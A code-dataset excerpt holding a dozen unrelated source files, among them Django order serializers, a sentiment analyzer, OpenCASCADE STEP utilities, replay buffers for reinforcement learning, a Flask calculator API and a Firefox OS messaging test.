\"UNMUTE\":\n self._output_connection.sendPOST({'type': 'UNMUTE', 'command': ''})\n elif recognized_command == \"CANCEL\":\n SearchCommandProceedingBehavior.getInstance()._history = []\n self._output_connection.sendPOST({'type': 'OPEN_SCREEN', 'command': 'IDLE'})\n self._output_connection.sendPOST({'type': 'SPEAK',\n 'command': random.choice(config['voice_command_output']['CANCEL'])})\n from IdleCommandProceedingBehavior import IdleCommandProceedingBehavior\n parent.setProceedingBehavior(IdleCommandProceedingBehavior.getInstance())\n parent.user_input = None\n return None\n elif recognized_command == \"START\":\n self._output_connection.sendPOST({'type': 'OPEN_SCREEN', 'command': 'SEARCH'})\n self._output_connection.sendPOST({'type': 'SPEAK',\n 'command': random.choice(config['voice_command_output']['SEARCH_BEGAN'])})\n from SearchCommandProceedingBehavior import SearchCommandProceedingBehavior\n parent.setProceedingBehavior(SearchCommandProceedingBehavior.getInstance())\n return None\n\n parent.user_input = None\n","repo_name":"knidarkness/ariusproject","sub_path":"new_core/SearchFailedCommandProceedingBehavior.py","file_name":"SearchFailedCommandProceedingBehavior.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"15223100435","text":"from rest_framework import serializers\n\nfrom goods.serializers import GoodListSerializer\nfrom .models import Order, Basket, BasketItem\n\n\nclass BasketItemCreateSerializer(serializers.ModelSerializer):\n user = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n class Meta:\n model = BasketItem\n fields = (\"good\", \"quantity\", \"user\")\n\n def save(self, **kwargs):\n kwargs.update(self.validated_data)\n basket_item = BasketItem.objects.create(\n quantity=kwargs[\"quantity\"],\n basket=kwargs['user'].basket,\n good=kwargs['good']\n )\n return basket_item\n\n\nclass BasketItemDetailSerializer(serializers.ModelSerializer):\n good = GoodListSerializer(read_only=True)\n\n class Meta:\n model = BasketItem\n fields = (\"id\", \"good\", \"quantity\", \"total_price\")\n\n\nclass BasketDetailSerializer(serializers.ModelSerializer):\n basket_items = BasketItemDetailSerializer(many=True, read_only=True)\n\n class Meta:\n model = Basket\n fields = (\"id\", \"basket_items\", \"total_price\")\n\n\nclass OrderCreateSerializer(serializers.ModelSerializer):\n user = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n class Meta:\n model = Order\n fields = (\n \"user\",\n \"city\",\n \"street\",\n \"home\",\n \"home_number\",\n\n )\n\n def save(self, **kwargs):\n kwargs.update(basket=self.validated_data.get('user').basket)\n order = super().save(**kwargs)\n self.validated_data.get('user').add_new_basket()\n return order\n\n\nclass OrderDetailSerializer(serializers.ModelSerializer):\n basket = BasketDetailSerializer(read_only=True)\n\n class Meta:\n model = Order\n fields = (\n \"basket\",\n \"city\",\n \"street\",\n \"home\",\n \"home_number\",\n \"paid\",\n \"time_created\",\n \"time_delivered\",\n\n )\n\n\nclass OrderListSerializer(serializers.ModelSerializer):\n basket = BasketDetailSerializer(read_only=True)\n\n class Meta:\n model = Order\n fields = (\n \"basket\",\n \"paid\",\n \"time_created\",\n \"time_delivered\",\n\n )\n","repo_name":"michael7nightingale/Tech-shop-API","sub_path":"orders/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"36540938783","text":"def Start():\n return int(input(\"How many credits are you starting with?\\n\"))\n\ndef Action(funds):\n choice = (input(\"\\nPlease type and enter an action:\\n\"+\n \"\\tAnte/Buy In (a)\\n\"+\n \"\\tPass/Check (p)\\n\"+\n \"\\tOpen/Bet (o)\\n\"+\n \"\\tCall/See (c)\\n\"+\n \"\\tRaise (r)\\n\"+\n \"\\tFold/Junk (f)\\n\"+\n \"\\tWin (w)\\n\"+\n \"\\tQuit/End Game (q)\\n\")).lower()\n if (choice == \"a\"):\n gamePotAnte = int(input(\"\\nHow many credits are you using to ante into the Game Pot?\\n\"))\n sabaccPotAnte = int(input(\"\\nHow many credits are you using to ante into the Sabacc Pot?\\n\"))\n funds -= gamePotAnte + sabaccPotAnte\n elif (choice == \"o\"):\n funds -= int(input(\"\\nHow many credits would you like to open with?\\n\"))\n elif (choice == \"c\"):\n funds -= int(input(\"\\nHow many credits would you like to call with?\\n\"))\n elif (choice == \"r\"):\n funds -= int(input(\"\\nHow many total credits would you like to raise the highest bet to?\\n\"))\n elif (choice == \"w\"):\n funds += int(input(\"\\nHow many more credits did you win?\\n\"))\n elif (choice == \"q\"):\n return choice\n return funds\n\ndef Main():\n funds = Start()\n while funds > 0:\n funds = Action(funds)\n if (funds != \"q\"):\n if (funds != 1):\n print(\"\\nYou now have\", funds, \"credits remaining.\\n\")\n else:\n print(\"\\nYou now have\", funds, \"credit remaining.\\n\")\n else:\n input(\"Game Over.\")\n return 0\n print(\"You have been cleaned out of all your credits!\")\n if (funds < 0):\n funds = abs(funds)\n if (funds != 1):\n print(\"You owe the house\", funds, \"credits of debt!\")\n else:\n print(\"You owe the house\", funds, \"credit of debt!\")\n input(\"Game Over.\")\n return 0\n\nMain()\n","repo_name":"chandler-stevens/Croupier-Droid","sub_path":"source/OBSOLETE/v1.0/Croupier-Droid-v1.0.py","file_name":"Croupier-Droid-v1.0.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"28387785581","text":"futebol = {}\npartidas = []\ntgol = 0\nfutebol['nome'] = str(input('Nome do jogador: '))\nfutebol['gols'] = int(input(f'Quantas partidas {futebol[\"nome\"]} jogou? '))\nif futebol['gols'] > 0:\n for c in range(1, futebol['gols'] +1):\n futebol['total'] = int(input(f'Quantos gols na partida {c}º? '))\n partidas.append(futebol['total'])\n tgol += futebol['total']\nprint('=-'*30)\nfutebol['gols'] = partidas\nfutebol['total'] = sum(partidas)\nprint(futebol)\nprint('=-'*30)\nfor k, v in (futebol.items()):\n print(f'O campo {k} tem o valor {v}.')\nprint('=-'*30)\nprint(f'O jogador {futebol[\"nome\"]} jogou {len(partidas)} partidas.')\nfor c in enumerate(partidas):\n print(f'Na partida {c[0]+1}, fez {c[1]} gols.')\nprint(f'Foi um total de {tgol}')\nprint('-='*30)\n\n\n\n","repo_name":"Vbkumm/python_projects","sub_path":"cursoemvideo/desafio093.py","file_name":"desafio093.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40413153514","text":"import FWCore.ParameterSet.Config as cms\n\nisolatedElectrons = cms.EDFilter(\"PATElectronSelector\",\n src = cms.InputTag(\"slimmedElectrons\"),\n cut = cms.string(\"(pfIsolationVariables().sumChargedHadronPt\" +\\\n \" + max(0.0, pfIsolationVariables().sumNeutralHadronEt\" +\\\n \" +pfIsolationVariables().sumPhotonEt\" +\\\n \" -0.5*pfIsolationVariables().sumPUPt))/pt < 0.33\" \n )\n )\n\ngoodElectrons = cms.EDFilter(\"PATElectronSelector\",\n src = cms.InputTag(\"isolatedElectrons\"),\n cut = cms.string(\"pt > 40 & abs(eta) < 2.5 & \"+\\\n \"(abs(superCluster().position().eta()) < 1.442 || \"+\\\n \"abs(superCluster().position().eta()) > 1.566)\" \n )\n )\n\neleSequence = cms.Sequence(isolatedElectrons+goodElectrons)\n\n#\n# START ELECTRON ID SECTION\n#\n# Set up everything that is needed to compute electron IDs and\n# add the ValueMaps with ID decisions into the event data stream\n#\n\n# Load tools and function definitions\nfrom PhysicsTools.SelectorUtils.tools.vid_id_tools import *\n \ndef addElectronIDs(process):\n \n process.load(\"RecoEgamma.ElectronIdentification.egmGsfElectronIDs_cfi\")\n process.egmGsfElectronIDs.physicsObjectSrc = cms.InputTag('slimmedElectrons')\n \n from PhysicsTools.SelectorUtils.centralIDRegistry import central_id_registry\n process.egmGsfElectronIDSequence = cms.Sequence(process.egmGsfElectronIDs)\n \n process.load('RecoEgamma.ElectronIdentification.Identification.heepElectronID_HEEPV51_cff')\n setupVIDSelection(process.egmGsfElectronIDs,process.heepElectronID_HEEPV51_miniAOD) \n\n process.goodElectrons.src = \"slimmedElectrons\"\n process.eleSequence = cms.Sequence(process.egmGsfElectronIDSequence+process.goodElectrons)\n\n return process\n#\n# END ELECTRON ID SECTION\n#\n","repo_name":"cms-edbr/ExoDiBosonResonancesRun2","sub_path":"EDBRCommon/python/goodElectrons_cff.py","file_name":"goodElectrons_cff.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"38708686212","text":"import math\r\n\r\nclass SentiAnalyzer:\r\n\r\n # Make the method signature to accept \"sentidata\" and \"word\"\r\n def __init__(self):\r\n print('This is a senti analyzer')\r\n # 단어가 긍정일 확률, 부정일 확률 계산\r\n # 리뷰, 단어 파일과 단어의 인덱스를 입력하면 그 입력받은 인덱스의 단어를 pointedWord에 저장\r\n # 리뷰 변수에 리뷰들 저장,occurence 변수에 입력받은 단어인덱스의 행을 저장. ??\r\n def probWordPositiveAndNegative(self, sentidata, word, idxWord):\r\n pointedWord = word[idxWord]\r\n reviews = [int(float(row[-1])) for row in sentidata]\r\n occurrence = [int(float(row[idxWord])) for row in sentidata]\r\n\r\n # Calculate the number of positive review occurrence with the pointed word, and assign the calculated value to 'positive'\r\n # pointedWord 가 있는 리뷰에서 긍정인 경우 - 둘다 1인경우 : positive 로 저장.\r\n positive = 0\r\n for i in range(len(occurrence)):\r\n positive = positive + occurrence[i] * reviews[i]\r\n\r\n # Calculate the number of positive reviews from the entire review set\r\n # 전체 리뷰에서 긍정적인 리뷰의 개수 계산 - 1이니까 그냥 더하면 됨 !\r\n numPositiveReviews = sum(reviews)\r\n\r\n # Calculate the number of negative review occurrence with the pointed word, and assign the calculated value to 'negative'\r\n # negative 일 경우, 0이므로 1에서 뺴서 값 저장\r\n negative = 0\r\n for i in range(len(occurrence)):\r\n negative = negative + occurrence[i] * (1 - reviews[i])\r\n\r\n\r\n rowCount = len(sentidata)\r\n positiveProb = float(positive) / float(numPositiveReviews)\r\n negativeProb = float(negative) / float(rowCount - numPositiveReviews)\r\n\r\n if positiveProb == 0:\r\n positiveProb = 0.00001\r\n if negativeProb == 0:\r\n negativeProb = 0.00001\r\n # 단어랑, 긍정일 확률, 부정일 확률 리턴\r\n return pointedWord, positiveProb, negativeProb\r\n\r\n # 리뷰만 넣었을 때\r\n\r\n def probPositiveAndNegative(self, sentidata):\r\n positive = sum([int(float(row[-1])) for row in sentidata])\r\n numReviews = len(sentidata)\r\n negative = numReviews - positive\r\n positiveProb = float(positive) / float(numReviews)\r\n negativeProb = float(negative) / float(numReviews)\r\n return positiveProb, negativeProb\r\n\r\n # 단어 찾기\r\n def findUsedWords(self, sentidata, word, idx):\r\n # Return the index of the used words in 'idx'th review\r\n # idx번째 리뷰에 쓰인 단어들의 인덱스\r\n temp = [int(float(x)) for x in sentidata[idx][:-1]]\r\n idxUsedWords = [index for index, value in enumerate(temp) if value == 1]\r\n # Return the actual words in 'idx'th review\r\n # 실제 idx번째 리뷰의 단어들\r\n usedWords = [word[idx] for idx in idxUsedWords]\r\n return idxUsedWords, usedWords\r\n\r\n #분석 - 어떤 리뷰를 분석할건지 입력 - 단어들의 리스트 - 단어들마다 인덱스를 모으기\r\n # 어레이로 모여져 있고, 단어 하나하나에 대한 확률 계산하기\r\n\r\n def runAnalysis(self, sentidata, word, idxReview):\r\n probLogPositive = 0\r\n probLogNegative = 0\r\n idxUsedWords, usedWords = self.findUsedWords(sentidata, word, idxReview)\r\n\r\n # Make a for-loop to run from the first word to the last word\r\n # 첫 단어부터 끝 단어까지 forloop로 계산.\r\n for i in range(len(idxUsedWords)):\r\n # get the first word from the used word set\r\n idxWord = idxUsedWords[i]\r\n # calculate the word's probability to be positive or negative\r\n pointedWord, positive, negative = self.probWordPositiveAndNegative( sentidata ,word, idxWord )\r\n # 왜 log demension? adding multiplication..? 0.000000 .. 30번.. - 컴퓨터가 0으로 인식 - 로그로 변환 - 숫자로 인식\r\n probLogPositive += math.log(positive)\r\n probLogNegative += math.log(negative)\r\n\r\n # 이건 무슨 확률이지,,\r\n positiveProb1, negativeProb1 = self.probPositiveAndNegative(sentidata)\r\n probLogPositive += math.log(positiveProb1)\r\n probLogNegative += math.log(negativeProb1)\r\n\r\n if probLogPositive > probLogNegative:\r\n sentiment = 'Positive'\r\n print('Positive')\r\n else:\r\n sentiment = 'Negative'\r\n print('Negative')\r\n\r\n return probLogPositive, probLogNegative, sentiment\r\n\r\n","repo_name":"Suyeon9911/DataStructure-Study","sub_path":"Week1/SentiAnalyzer.py","file_name":"SentiAnalyzer.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"8800308402","text":"import random\na=[[]]#declararea matricea\nb=0 # nu exista nicio bombana in patratica\nc=1 # bomboana rosie\nd=2 # bomboana galbena\ne=3 # bomboana verde\nf=4 # bomboana albastra\ng=5 # puncte acumulate(linie3)\nh=10 # puncte acumulate(linie4)\ni=50 # puncte acumulate (linie5)\nj=20 # puncte acumulate la formarea de L\nm=30 # puncte acumulate la formarea de T\nsubtotal=0 # start de puncte la inceputul jocului\nprint(\"\\n\\n\\t\\t\\tINCEPE JOCUL CANDYCRUST\")\ni=11 # dimensiunea liniilor\nj=11 # dimensiunea coloanelor\nfor i in range(0,11):\n for j in range(0, 11):\n a=random.randint(0, 5)\n","repo_name":"avramvasile24/practica","sub_path":"CandyCrush.py","file_name":"CandyCrush.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31545880645","text":"from OCC.TopoDS import TopoDS_Shape\nfrom OCC.BRepMesh import BRepMesh_IncrementalMesh\nfrom OCC.StlAPI import stlapi_Read, StlAPI_Writer\nfrom OCC.BRep import BRep_Builder\nfrom OCC.gp import gp_Pnt, gp_Dir, gp_Pnt2d\nfrom OCC.Bnd import Bnd_Box2d\nfrom OCC.TopoDS import TopoDS_Compound\nfrom OCC.IGESControl import IGESControl_Reader, IGESControl_Writer\nfrom OCC.STEPControl import STEPControl_Reader, STEPControl_Writer, STEPControl_AsIs\nfrom OCC.Interface import Interface_Static_SetCVal\nfrom OCC.IFSelect import IFSelect_RetDone, IFSelect_ItemsByEntity\nfrom OCC.TDocStd import TDocStd_Document\nfrom OCC.XCAFDoc import (XCAFDoc_DocumentTool_ShapeTool,\n XCAFDoc_DocumentTool_ColorTool)\nfrom OCC.STEPCAFControl import STEPCAFControl_Reader\nfrom OCC.TDF import TDF_LabelSequence, TDF_Label\nfrom OCC.TCollection import TCollection_ExtendedString\nfrom OCC.Quantity import Quantity_Color, Quantity_TOC_RGB\nfrom OCC.TopLoc import TopLoc_Location\nfrom OCC.BRepBuilderAPI import BRepBuilderAPI_Transform\nimport os\nfrom lib.OCCUtils import Construct, Topo, Common\nfrom OCC.gp import gp_Pnt\n# from OCC.Extend.TopologyUtils import (discretize_edge, get_sorted_hlr_edges,\n# list_of_shapes_to_compound)\n\nfrom lib.OCCUtils.Construct import \\\n make_vertex, make_edge, make_wirex, make_face, \\\n make_sewed, make_solid\nfrom typing import List\n\n\n\ndef read_step_file(filename, as_compound=True, verbosity=True):\n \"\"\" read the STEP file and returns a compound\n filename: the file path\n verbosity: optional, False by default.\n as_compound: True by default. If there are more than one shape at root,\n gather all shapes into one compound. Otherwise returns a list of shapes.\n \"\"\"\n if not os.path.isfile(filename):\n raise FileNotFoundError(\"%s not found.\" % filename)\n\n step_reader = STEPControl_Reader()\n status = step_reader.ReadFile(filename)\n\n if status == IFSelect_RetDone: # check status\n if verbosity:\n failsonly = False\n step_reader.PrintCheckLoad(failsonly, IFSelect_ItemsByEntity)\n step_reader.PrintCheckTransfer(failsonly, IFSelect_ItemsByEntity)\n transfer_result = step_reader.TransferRoots()\n if not transfer_result:\n raise AssertionError(\"Transfer failed.\")\n _nbs = step_reader.NbShapes()\n if _nbs == 0:\n raise AssertionError(\"No shape to transfer.\")\n elif _nbs == 1: # most cases\n return step_reader.Shape(1)\n elif _nbs > 1:\n print(\"Number of shapes:\", _nbs)\n shps = []\n # loop over root shapes\n for k in range(1, _nbs + 1):\n new_shp = step_reader.Shape(k)\n if not new_shp.IsNull():\n shps.append(new_shp)\n if as_compound:\n builder = BRep_Builder()\n compound = TopoDS_Compound()\n builder.MakeCompound(compound)\n for s in shps:\n builder.Add(compound, s)\n # shps = compound\n # compound, result = list_of_shapes_to_compound(shps)\n # if not result:\n # print(\"Warning: all shapes were not added to the compound\")\n return compound\n else:\n print(\"Warning, returns a list of shapes.\")\n return shps\n else:\n raise AssertionError(\"Error: can't read file.\")\n return None\n\n\ndef write_step_file(a_shape, filename, application_protocol=\"AP203\"):\n \"\"\" exports a shape to a STEP file\n a_shape: the topods_shape to export (a compound, a solid etc.)\n filename: the filename\n application protocol: \"AP203\" or \"AP214IS\" or \"AP242DIS\"\n \"\"\"\n # a few checks\n if a_shape.IsNull():\n raise AssertionError(\"Shape %s is null.\" % a_shape)\n if application_protocol not in [\"AP203\", \"AP214IS\", \"AP242DIS\"]:\n raise AssertionError(\"application_protocol must be either AP203 or AP214IS. You passed %s.\" % application_protocol)\n if os.path.isfile(filename):\n print(\"Warning: %s file already exists and will be replaced\" % filename)\n # creates and initialise the step exporter\n step_writer = STEPControl_Writer()\n Interface_Static_SetCVal(\"write.step.schema\", application_protocol)\n\n # transfer shapes and write file\n step_writer.Transfer(a_shape, STEPControl_AsIs)\n status = step_writer.Write(filename)\n\n if not status == IFSelect_RetDone:\n raise IOError(\"Error while writing shape to STEP file.\")\n if not os.path.isfile(filename):\n raise IOError(\"File %s was not saved to filesystem.\" % filename)\n\n\ndef make_face_holes(*wires):\n if len(wires) == 1:\n return make_face(*wires)\n # print('wires', len(wires))\n faces = [make_face(w) for w in wires]\n shell = make_sewed(*faces)\n return shell\n\n\nclass TopoIO:\n TYPES = ['verts', 'edges', 'wires', 'faces', 'shells', 'solids']\n fns = [make_vertex, make_edge, make_wirex, make_face_holes, make_sewed, make_solid]\n\n def __init__(self):\n self._seen = [set() for _ in range(6)]\n self._built = [{} for _ in range(6)]\n\n @classmethod\n def dict_to_topo(cls, tdict, uid=None, solid=False):\n _built = [{} for _ in range(6)]\n used = [set() for _ in range(6)]\n\n try:\n\n for k, v in tdict['verts'].items():\n _built[0][k] = Construct.make_vertex(gp_Pnt(*v))\n\n for i in range(1, 6):\n for k, v in tdict[cls.TYPES[i]].items():\n try:\n _built[i][k] = cls.fns[i](*[_built[i-1][x] for x in v if x in _built[i-1]])\n used[i-1] = used[i-1].union(set(v))\n except:\n # print('f', cls.TYPES[i], v)\n pass\n res = []\n for i in range(6):\n typ = cls.TYPES[i]\n in_keys = set(tdict[typ].keys())\n not_seen = in_keys.difference(used[i])\n res += [_built[i][k] for k in not_seen if k in _built[i]]\n\n if len(res) == 1:\n # Clicked view: 2 523273845 (v:32 e:40 w:16, f:13, c:0, s:1)\n return res.pop()\n\n if solid is True:\n tops = Topo(Construct.compound(res))\n ls = list(tops.shells())\n ls.sort(key=lambda x: Topo(x).number_of_faces())\n last = ls.pop()\n return make_solid(last)\n else:\n return Construct.compound(res)\n except Exception as e:\n print('error', uid, e)\n return None\n\n @staticmethod\n def topo_to_dict(shape):\n if not isinstance(shape, Topo):\n topo = Topo(shape)\n else:\n topo = shape\n verts = {}\n edges = {}\n wires = {}\n faces = {}\n shells = {}\n solids = {}\n\n for v in topo.vertices():\n verts[hash(v)] = Common.vertex_to_tuple(v, rnd=10)\n\n for edge in topo.edges():\n edges[hash(edge)] = [hash(x) for x in Topo(edge).vertices()]\n\n for wire in topo.wires():\n wires[hash(wire)] = [hash(x) for x in Topo(wire).edges()]\n\n for face in topo.faces():\n faces[hash(face)] = [hash(x) for x in Topo(face).wires()]\n\n for shell in topo.shells():\n shells[hash(shell)] = [hash(x) for x in Topo(shell).faces()]\n\n for solid in topo.solids():\n solids[hash(solid)] = [hash(x) for x in Topo(solid).shells()]\n\n return {'verts': verts,\n 'edges': edges,\n 'wires': wires,\n 'faces': faces,\n 'shells': shells,\n 'solids': solids\n }\n\n\n\n\n","repo_name":"psavine42/OCCUtilsExt","sub_path":"io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":7809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"20942053882","text":"import numpy as np\nimport cv2 as cv\n\nclass PPHumanSeg:\n def __init__(self, modelPath, backendId=0, targetId=0):\n self._modelPath = modelPath\n self._backendId = backendId\n self._targetId = targetId\n\n self._model = cv.dnn.readNet(self._modelPath)\n self._model.setPreferableBackend(self._backendId)\n self._model.setPreferableTarget(self._targetId)\n\n self._inputNames = ''\n self._outputNames = ['save_infer_model/scale_0.tmp_1']\n self._currentInputSize = None\n self._inputSize = [192, 192]\n self._mean = np.array([0.5, 0.5, 0.5])[np.newaxis, np.newaxis, :]\n self._std = np.array([0.5, 0.5, 0.5])[np.newaxis, np.newaxis, :]\n\n @property\n def name(self):\n return self.__class__.__name__\n\n def setBackendAndTarget(self, backendId, targetId):\n self._backendId = backendId\n self._targetId = targetId\n self._model.setPreferableBackend(self._backendId)\n self._model.setPreferableTarget(self._targetId)\n\n def _preprocess(self, image):\n\n image = cv.cvtColor(image, cv.COLOR_BGR2RGB)\n\n self._currentInputSize = image.shape\n image = cv.resize(image, (192, 192))\n \n image = image.astype(np.float32, copy=False) / 255.0\n image -= self._mean\n image /= self._std\n return cv.dnn.blobFromImage(image)\n\n def infer(self, image):\n\n # Preprocess\n inputBlob = self._preprocess(image)\n\n # Forward\n self._model.setInput(inputBlob, self._inputNames)\n outputBlob = self._model.forward()\n\n # Postprocess\n results = self._postprocess(outputBlob)\n\n return results\n\n def _postprocess(self, outputBlob):\n \n outputBlob = outputBlob[0]\n outputBlob = cv.resize(outputBlob.transpose(1,2,0), (self._currentInputSize[1], self._currentInputSize[0]), interpolation=cv.INTER_LINEAR).transpose(2,0,1)[np.newaxis, ...]\n\n result = np.argmax(outputBlob, axis=1).astype(np.uint8)\n return result\n","repo_name":"opencv/opencv_zoo","sub_path":"models/human_segmentation_pphumanseg/pphumanseg.py","file_name":"pphumanseg.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":441,"dataset":"github-code","pt":"20"} +{"seq_id":"39861722347","text":"\"\"\"\nClasses meant to handle replaying experienced games\n\"\"\"\n\nimport random\nfrom collections import deque, namedtuple\nfrom scipy.stats import rankdata\nimport numpy as np\nimport torch\n\nreplay_registry = {}\n\n\ndef register(key):\n def decorator(cls):\n replay_registry[key] = cls\n return cls\n\n return decorator\n\n\nTimeStep = namedtuple(\n \"TimeStep\", [\"state\", \"action\", \"reward\", \"next_state\", \"terminal\"]\n)\n\n\nclass Replay:\n def __init__(self):\n self.device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n def sample(self, batch_size):\n raise NotImplementedError()\n\n def push(self, *args):\n raise NotImplementedError()\n\n def weight_losses(self, losses, *args):\n return losses\n\n\n@register(\"basic\")\nclass BasicReplay(Replay):\n def __init__(self, capacity=50_000, **kwargs):\n super().__init__()\n self.steps = deque(maxlen=capacity)\n\n def sample(self, batch_size):\n steps = random.sample(self.steps, batch_size)\n # States: (1, Channels, Height, Width) -> (Batch Size, Channels, Height, Width)\n states = torch.cat([step.state for step in steps])\n # Actions: () -> (Batch Size)\n actions = torch.tensor([step.action for step in steps], device=self.device)\n # Rewards: () -> (Batch Size)\n rewards = torch.tensor([step.reward for step in steps], device=self.device)\n # Next States: (1, Channels, Height, Width) -> (Batch Size, Channels, Height, Width)\n next_states = torch.cat([step.next_state for step in steps])\n # Terminal: () -> (Batch Size)\n terminal = torch.tensor([step.terminal for step in steps], device=self.device)\n\n return states, actions, rewards, next_states, terminal, None, None\n\n def push(self, state, action, reward, next_state, terminal, *extra):\n step = TimeStep(state, action, reward, next_state, terminal)\n self.steps.append(step)\n\n\nclass PrioritizedReplay(Replay):\n def __init__(self, *, alpha, beta, capacity=50_000, **kwargs):\n super().__init__()\n self.alpha = alpha\n self.beta = beta\n self.steps = deque(maxlen=capacity)\n self.priorities = torch.zeros(\n (capacity,), dtype=torch.float32, device=self.device\n )\n\n def push(self, state, action, reward, next_state, terminal):\n max_priority = self.priorities.max() if self.steps else 1.0\n\n step = TimeStep(state, action, reward, next_state, terminal)\n self.steps.append(step)\n\n if len(self.steps) == self.steps.maxlen:\n self.priorities = self.priorities.roll(-1)\n\n self.priorities[len(self.steps) - 1] = max_priority\n\n def sample(self, batch_size):\n # Get non-empty priorities\n priorities = self.priorities[: len(self.steps)]\n\n # Paper formula: https://arxiv.org/pdf/1511.05952.pdf\n # P(i) = (p_i^alpha) / (sum[p_i^alpha])\n probabilities = priorities ** self.alpha\n probabilities /= torch.sum(probabilities)\n\n # Choose mini-batch using calculated probabilities\n indices = np.random.choice(\n len(self.steps), batch_size, p=probabilities.cpu().numpy()\n )\n steps = [self.steps[index] for index in indices]\n\n # States: (1, Channels, Height, Width) -> (Batch Size, Channels, Height, Width)\n states = torch.cat([step.state for step in steps])\n # Actions: () -> (Batch Size)\n actions = torch.tensor([step.action for step in steps], device=self.device)\n # Rewards: () -> (Batch Size)\n rewards = torch.tensor([step.reward for step in steps], device=self.device)\n # Next States: (1, Channels, Height, Width) -> (Batch Size, Channels, Height, Width)\n next_states = torch.cat([step.next_state for step in steps])\n # Terminal: () -> (Batch Size)\n terminal = torch.tensor([step.terminal for step in steps], device=self.device)\n\n # Importance sampling parameter\n weights = (len(self.steps) * probabilities[indices]) ** -self.beta\n weights = weights / torch.max(weights)\n\n return states, actions, rewards, next_states, terminal, indices, weights\n\n\n@register(\"priority-proportional\")\nclass PrioritizedProportionalReplay(PrioritizedReplay):\n def weight_losses(self, losses, indices, weights):\n losses = losses * weights\n priorities = losses + 1e-6\n self.priorities[indices] = priorities.detach()\n return losses\n\n\n@register(\"priority-rank\")\nclass PrioritizedRankReplay(PrioritizedReplay):\n def weight_losses(self, losses, indices, weights):\n losses = losses * weights\n numpy_losses = losses.detach().cpu().numpy()\n priorities = 1 / rankdata(numpy_losses)\n priorities = priorities.astype(\"float32\")\n self.priorities[indices] = torch.from_numpy(priorities).to(self.device)\n return losses\n","repo_name":"MikeynJerry/ece517","sub_path":"Final Project/replay.py","file_name":"replay.py","file_ext":"py","file_size_in_byte":4873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"39183748107","text":"from flask import Flask\nfrom flask_restx import Api, Resource, reqparse\n\napp = Flask(__name__)\napi = Api(\n app, \n title='Calculator API', \n version='1.0', \n description='Sample calculator API with Flask',\n prefix='/api',\n default=\"calculator\"\n )\n\nparser = reqparse.RequestParser()\nparser.add_argument('number1', type=int, help='first number')\nparser.add_argument('number2', type=int, help='second number')\n\n@api.route('/hello')\nclass HelloWorld(Resource):\n def get(self):\n return 'hello'\n\n@api.route('/sum', methods=['POST'])\n@api.doc(parser=parser)\nclass SumParameter(Resource):\n def post(self):\n args = parser.parse_args()\n sum = args['number1'] + args['number2']\n return {'result': sum}, 200\n\n@api.route('/subtract', methods=['POST'])\n@api.doc(parser=parser)\nclass SumParameter(Resource):\n def post(self):\n args = parser.parse_args()\n subtract = args['number1'] - args['number2']\n return {'result': subtract}, 200\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=\"80\") # Run outsite !!!\n","repo_name":"ssorato/calculator","sub_path":"api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39006345299","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport time\n\nfrom gaiatest import GaiaTestCase\nfrom gaiatest.apps.messages.app import Messages\n\n\nclass TestSmsWithAttachments(GaiaTestCase):\n\n _text_message_content = 'Automated Test %s' % str(time.time())\n\n def setUp(self):\n GaiaTestCase.setUp(self)\n self.data_layer.connect_to_cell_data()\n\n def test_sms_send(self):\n \"\"\"\n https://moztrap.mozilla.org/manage/case/10743/\n \"\"\"\n messages = Messages(self.marionette)\n messages.launch()\n\n new_message = messages.create_new_message(recipients=[self.environment.phone_numbers[0]],\n message=self._text_message_content)\n activities_list = new_message.tap_attachment()\n camera = activities_list.tap_camera()\n\n camera.tap_capture()\n camera.tap_select_button()\n\n # back to messages app frame\n new_message.wait_for_resizing_to_finish()\n\n self.message_thread = new_message.tap_send(timeout=300)\n self.message_thread.wait_for_received_messages(timeout=300)\n\n last_received_message = self.message_thread.received_messages[-1]\n last_message = self.message_thread.all_messages[-1]\n\n self.assertEqual(self._text_message_content, last_received_message.text.strip('\\n').strip())\n self.assertEqual(last_received_message.id, last_message.id)\n self.assertTrue(last_message.has_attachments)\n\n view_image = last_message.tap_attachment()\n view_image.tap_save_image()\n self.assertIn('saved to Gallery', view_image.banner_message)\n\n # 2 pictures should be on the sd card:\n # One is the picture we sent, the other is the one saved\n self.assertEqual(2, len(self.data_layer.picture_files))\n\n def tearDown(self):\n self.marionette.switch_to_frame()\n self.data_layer.disable_cell_data()\n 